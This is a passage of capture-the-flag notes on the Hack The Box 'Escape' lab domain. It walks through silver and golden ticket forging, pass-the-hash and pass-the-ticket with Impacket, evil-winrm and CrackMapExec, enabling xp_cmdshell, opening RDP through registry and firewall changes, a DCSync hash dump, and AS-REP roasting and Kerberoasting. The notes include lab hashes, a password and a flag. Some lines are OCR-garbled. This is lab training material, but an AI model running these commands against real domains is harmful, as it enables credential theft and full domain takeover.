ServiceName : krbtgt/sequel.htb

ServiceRealm : SEQUEL.HTB
UserName : administrator
UserRealm : SEQUEL.HTB

StartTime : 6/26/2023 2:53:25 PM EndTime : 6/27/2023 12:53:25 AM RenewTill : 7/3/2023 2:53:25 PM

Flags : name_canonicalize, pre_authent, initial, renewable

KeyType : rc4_hmac

Base64(key) : Tf4sLvHIkFB9hXorV1UnKQ==

ASREP (key) : 726704DAAFEDC5238C5AA469A2261F16

[*] Getting credentials using U2U

Now one can either:

- Use the NTLM hash to perform Pass-The-Hash (Not OPSEC Safe!)
- Convert ticket.kirbi to ccache format and perform pass-the-ticket on linux (From remote)
- Use rubeus to perform pass the ticket (From local)

Additional

Privilege Escalation with Silver ticket

Refer - https://0xdf.gitlab.io/2023/06/17/htb-escape.html#beyond-root---silver-ticket

Overview

To generate a Silver Ticket, use ticketer.py, which will need the following information:

- The NTLM hash for sql_svc.
- The domain SID.
- The domain name.
- A SPN (it doesn't have to be a valid SPN).
- The name of the user to impersonate.

NTLM Hash

```
ipython
```

```
>>> import hashlib
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest().hex()
'1443ec19da4dac4ffc953bca1b57b4cf'
```

Domain SID

```
*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ADDomain | fl DomainSID

DomainSID : S-1-5-21-4078382237-1492182817-2568127209
```

Silver Ticket

ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -spn doesnotmatter/dc.sequel.htb administrator

Pass The Ticket

```
export KRB5CCNAME=administrator.ccache
mssqlclient.py -k dc.sequel.htb

SQL (sequel\Administrator dbo@master)> select suser_name();
------sequel\Administrator
```

Enable xp_cmdshell

```
SQL (sequel\Administrator dbo@master)> xp_cmdshell whoami
[-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

SQL (sequel\Administrator dbo@master)> EXECUTE sp_configure 'show advanced options', 1
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (sequel\Administrator dbo@master)> RECONFIGURE

SQL (sequel\Administrator dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1
```

Still able to file read and write as administrator

Methods to privilege escalate:

- Use PayloadsAllTheThings: EoP Privileged File Write
- Use the shell through MSSQL and abuse SeImpersonatePrivilege with a Potato exploit

Pass The Hash

Remote Access

RCE

Evil Winrm

WinRM Enables PASS THE HASH!

```
evil-winrm -i dc.sequel.htb -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4E
```

Impacket

wmiexec.py administrator@dc.sequel.htb -hashes 00:A52F78E4C751E5F5E17E1E9F3E58F4EE psexec.py administrator@dc.sequel.htb -hashes 00:A52F78E4C751E5F5E17E1E9F3E58F4EE smbexec.py administrator@dc.sequel.htb -hashes 00:A52F78E4C751E5F5E17E1E9F3E58F4EE wmiexec.py administrator@dc.sequel.htb -hashes 00:A52F78E4C751E5F5E17E1E9F3E58F4EE atexec.py administrator@dc.sequel.htb -hashes 00:A52F78E4C751E5F5E17E1E9F3E58F4EE dcomexec.py administrator@dc.sequel.htb -hashes 00:A52F78E4C751E5F5E17E1E9F3E58F4EE

CrackMapExec

```
cme smb dc.sequel.htb -u 'Administrator' -H A52F78E4C751E5F5E17E1E9F3E58F4EE
cme winrm dc.sequel.htb -u 'Administrator' -H A52F78E4C751E5F5E17E1E9F3E58F4EE
```

RDP

Related - Windows Privilege Escalation > Access Machine > xFreeRDP

Preparations (MUST DO) to enable RDP and bypass restrictions

```
# CMD
reg add "HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t
REG DWORD /d 0 /f
# Powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# Optional
net localgroup "Remote Desktop Users" Administrator /add
# Reruling firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
# Fix "account restrictions are preventing this user from signing in" by enabling Restricted Admin mode
## PowerShell Way
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -Value 0 -PropertyType DWORD
## Cmd Way
reg add HKLM\system\currentcontrolset\control\lsa /v DisableRestrictedAdmin /t REG DWORD /d 0 /f
```

Connect via xfreerdp or remmina

xfreerdp /u:Administrator /pth:A52F78E4C751E5F5E17E1E9F3E58F4EE /d:sequel.htb /v:sequel.htb

Request TGT

```
getTGT.py -hashes '00:A52F78E4C751E5F5E17E1E9F3E58F4EE' sequel.htb/administrator@dc.sequel.htb
```

Craft Golden Ticket

```
secretsdump.py -hashes '00:A52F78E4C751E5F5E17E1E9F3E58F4EE' sequel.htb/administrator@dc.sequel.htb -outputfile dcsync.txt
```

```
Administrator:des-cbc-md5:5d76e0d3c245a2a4
krbtgt:aes256-cts-hmac-sha1-96:b3f74f6e968fb5d2cf17f36f417bc46259623626953ed30f8faf3cd00b91c8de
krbtgt:aes128-cts-hmac-sha1-96:919e6861b6306e3367a9223a154473ec
```

```
ticketer.py -aesKey 'b3f74f6e968fb5d2cf17f36f417bc46259623626953ed30f8faf3cd00b91c8de' -domain-sid 'S-1-5-21-4078382237-1492182817-2568127209' -domain 'sequel.htb' Administrator
```

Domain Sid can be found from whoami /user on windows or lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController'

Pass The Ticket Methods

```
r—(kali⊛kali)-[~/htb/Escape]

└$ export KRB5CCNAME=administrator.ccache
```

Impacket

Ex: wmiexec.py

```
r (kali⊕kali)-[~/htb/Escape]

-$ wmiexec.py -k dc.sequel.htb -shell-type powershell

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```

```
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> cat C:\Users\Administrator\Desktop\root.txt
2ee3abe4c46ddb16545a893e6c0c5e03
PS C:\>
```

Crack Map Exec

```
Come smb dc.sequel.htb --use-kcache
SMB dc.sequel.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True)
(SMBv1:False)
SMB dc.sequel.htb 445 DC [+] sequel.htb\administrator from ccache (Pwn3d!)
```

Evil-Winrm

Have to setup /etc/krb5.conf first

Pass The Ticket from Linux (Remotely)

faketime -f '+28833.584347' wmiexec.py dc.sequel.htb -k

Convert kirbi to ccache

```
vi ticket.base64
cat ticket.base64 | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache

ntpdate -q sequel.htb

# Keep up with DC's time
```

```
_____(kali@kali)-[~/htb/Escape]
__$ ntpdate -q sequel.htb
2023-06-27 06:08:00.289372 (+0800) +28833.584347 +/- 0.028277 sequel.htb 10.10.11.202 s1 no-leap
```

Pass The Ticket from Windows (Locally)

The ticket doesn't work in this case though

Specify pass-the-ticket option: /ptt

```
Invoke-Rubeus -Command "asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx /ptt"
```

AooHKBIHHFYHEMIHBOIG+MIG7MIG4oBswGaADAgEXoRIEEF/EHNR6sh6/LsCMJV+iIYGhD MlqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg== [+] Ticket successfully imported!

Use **klist** to confirm that the ticket is in memory

```
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
```

ASReproasting Attmept

Extract user names

```
r—(kali⊕kali)-[~/htb/Escape]
└─$ cat users.txt
1101: sequel\DnsAdmins (SidTypeAlias)
1102: sequel\DnsUpdateProxy (SidTypeGroup)
1103: sequel\Tom.Henn (SidTypeUser)
1104: sequel\Brandon.Brown (SidTypeUser)
1105: sequel\Ryan.Cooper (SidTypeUser)
1106: sequel\sql_svc (SidTypeUser)
1107: sequel\James.Roberts (SidTypeUser)
1108: sequel\Nicole.Thompson (SidTypeUser)
1109: sequel\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)
r—(kali⊕kali)-[~/htb/Escape]
$ cat users.txt|grep SidTypeUser|awk '{print $2}'|cut -d "\\" -f 2 | tee users_parsed.txt
Tom.Henn
Brandon, Brown
Ryan.Cooper
sql svc
James.Roberts
Nicole.Thompson
```

Find users that disabled pre-authentication

```
├──(kali⊕kali)-[~/htb/Escape] 
├─$ GetNPUsers.py -dc-ip 10.10.11.202 sequel.htb/ -usersfile users_parsed.txt -format hashcat -outputfile ASREProastables.txt 
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```

```
[-] User Tom.Henn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Brandon.Brown doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ryan.Cooper doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User James.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Nicole.Thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Kerberoasting Attempt

```
[ (kali@kali)-[~/htb/Escape]
L_$ GetUserSPNs.py -request sequel.htb/SQL_SVC:REGGIE1234ronnie -outputfile Kerberoastable.txt
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No entries found!
```

Make User Kerberoastable

Set SPN for random user

Command Format:

```
setspn -S http/<server name> <domain>\<account>
setspn -S http/dc sequel.htb\Tom.Henn
```

Delete SPN

```
setspn -D http/dc sequel.htb\Tom.Henn
```

Make User ASReproastable

You could make the user ASREPRoastable by disabling preauthentication and then ASREProast it

```
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```

Use powerview

Check **GetNPUsers.py** result

or with authentication

GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip dc.sequel.htb 'sequel.htb/SQL_SVC:REGGIE1234ronnie'